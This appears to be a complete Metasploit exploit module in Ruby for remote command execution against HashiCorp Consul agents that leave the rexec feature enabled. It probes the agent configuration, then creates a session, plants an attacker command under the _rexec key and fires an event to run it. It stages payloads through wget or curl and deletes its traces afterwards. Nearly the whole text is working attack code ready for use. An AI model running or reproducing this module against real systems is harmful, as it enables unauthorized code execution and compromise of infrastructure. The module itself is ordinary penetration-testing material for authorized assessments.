Hashicorp Consul Rexec Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Hashicorp Consul Remote Command Execution via Rexec",  
'Description' => %q{  
This module exploits a feature of Hashicorp Consul named rexec.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC  
'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC  
'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],  
[ 'URL', 'https://www.consul.io/docs/commands/exec.html'],  
[ 'URL', 'https://github.com/torque59/Garfield' ]  
],  
'Platform' => 'linux',  
'Targets' => [ [ 'Linux', {} ] ],  
'Payload' => {},  
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],  
'Privileged' => false,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 11 2018'))  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path', '/']),  
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),  
OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),  
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),  
Opt::RPORT(8500)  
])  
end  
  
def check  
uri = target_uri.path  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, "/v1/agent/self"),  
'headers' => {  
'X-Consul-Token' => datastore['ACL_TOKEN']  
}  
})  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
begin  
agent_info = JSON.parse(res.body)  
if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false  
return CheckCode::Vulnerable  
else  
return CheckCode::Safe  
end  
rescue JSON::ParserError  
vprint_error 'Failed to parse JSON output.'  
return CheckCode::Unknown  
end  
end  
  
def execute_command(cmd, opts = {})  
uri = target_uri.path  
  
print_status('Creating session.')  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(uri, 'v1/session/create'),  
'headers' => {  
'X-Consul-Token' => datastore['ACL_TOKEN']  
},  
'ctype' => 'application/json',  
'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json  
})  
  
if res and res.code == 200  
begin  
sess = JSON.parse(res.body)  
print_status("Got rexec session ID #{sess['ID']}")  
rescue JSON::ParseError  
fail_with(Failure::Unknown, 'Failed to parse JSON output.')  
end  
end  
  
print_status("Setting command for rexec session #{sess['ID']}")  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"),  
'headers' => {  
'X-Consul-Token' => datastore['ACL_TOKEN']  
},  
'ctype' => 'application/json',  
'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json  
})  
if res and not res.code == 200 or res.body == 'false'  
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')  
end  
  
print_status("Triggering execution on rexec session #{sess['ID']}")  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(uri, "v1/event/fire/_rexec"),  
'headers' => {  
'X-Consul-Token' => datastore['ACL_TOKEN']  
},  
'ctype' => 'application/json',  
'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json  
})  
if res and not res.code == 200  
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')  
end  
  
begin  
Timeout.timeout(datastore['TIMEOUT']) do  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"),  
'headers' => {  
'X-Consul-Token' => datastore['ACL_TOKEN']  
}  
})  
begin  
data = JSON.parse(res.body)  
break if data.include? 'out'  
rescue JSON::ParseError  
fail_with(Failure::Unknown, 'Failed to parse JSON output.')  
end  
sleep 2  
end  
rescue Timeout::Error  
# we catch this error so cleanup still happen afterwards  
print_status("Timeout hit, error with payload ?")  
end  
  
print_status("Cleaning up rexec session #{sess['ID']}")  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"),  
'headers' => {  
'X-Consul-Token' => datastore['ACL_TOKEN']  
}  
})  
  
if res and not res.code == 200 or res.body == 'false'  
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')  
end  
  
res = send_request_cgi({  
'method' => 'DELETE',  
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="),  
'headers' => {  
'X-Consul-Token' => datastore['ACL_TOKEN']  
}  
})  
  
if res and not res.code == 200 or res.body == 'false'  
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')  
end  
end  
  
def exploit  
execute_cmdstager()  
end  
end  
`